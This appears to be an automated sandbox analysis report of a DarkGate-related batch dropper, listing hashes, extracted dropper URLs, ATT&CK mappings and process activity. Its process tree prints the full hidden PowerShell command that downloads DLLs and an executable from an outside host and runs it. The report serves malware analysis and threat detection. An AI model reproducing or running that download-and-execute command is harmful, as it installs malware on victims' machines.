933fbda1ca7c4a52adbb48d038c8ba5ed5ee411d1096b2222ca383ca6d96a6bc

Analysis

max time kernel
93s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21-08-2024 20:17

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General

Target

exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat
Size

6KB
MD5

97b7c88a02b2a5214d742b7ed50f4544
SHA1

15bf7dd44049b94db1a82504802ead45f6186fa0
SHA256

20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
SHA512

918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
SSDEEP

192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

7 4928 powershell.exe
11 4928 powershell.exe
27 4928 powershell.exe
29 4928 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4928 powershell.exe
4548 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

7 tt.vg
6 tt.vg
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4928 powershell.exe
4928 powershell.exe
4548 powershell.exe
4548 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4928 powershell.exe
Token: SeDebugPrivilege 4548 powershell.exe

flow	pid	process
7	4928	powershell.exe
11	4928	powershell.exe
27	4928	powershell.exe
29	4928	powershell.exe

pid	process
4928	powershell.exe
4548	powershell.exe

flow	ioc
7	tt.vg
6	tt.vg

pid	process
4928	powershell.exe
4928	powershell.exe
4548	powershell.exe
4548	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3900 wrote to memory of 4928	3900	cmd.exe	powershell.exe
PID 3900 wrote to memory of 4928	3900	cmd.exe	powershell.exe
PID 3900 wrote to memory of 4548	3900	cmd.exe	powershell.exe
PID 3900 wrote to memory of 4548	3900	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2aeiimnx.nyf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4548-37-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4548-35-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4548-34-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4548-33-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4928-12-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4928-16-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4928-19-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4928-15-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4928-14-0x00007FFFDF4B3000-0x00007FFFDF4B5000-memory.dmp

Filesize
8KB

Download
memory/4928-13-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4928-0-0x00007FFFDF4B3000-0x00007FFFDF4B5000-memory.dmp

Filesize
8KB

Download
memory/4928-11-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

Filesize
10.8MB

Download
memory/4928-10-0x0000022AFF890000-0x0000022AFF8B2000-memory.dmp

Filesize
136KB

Download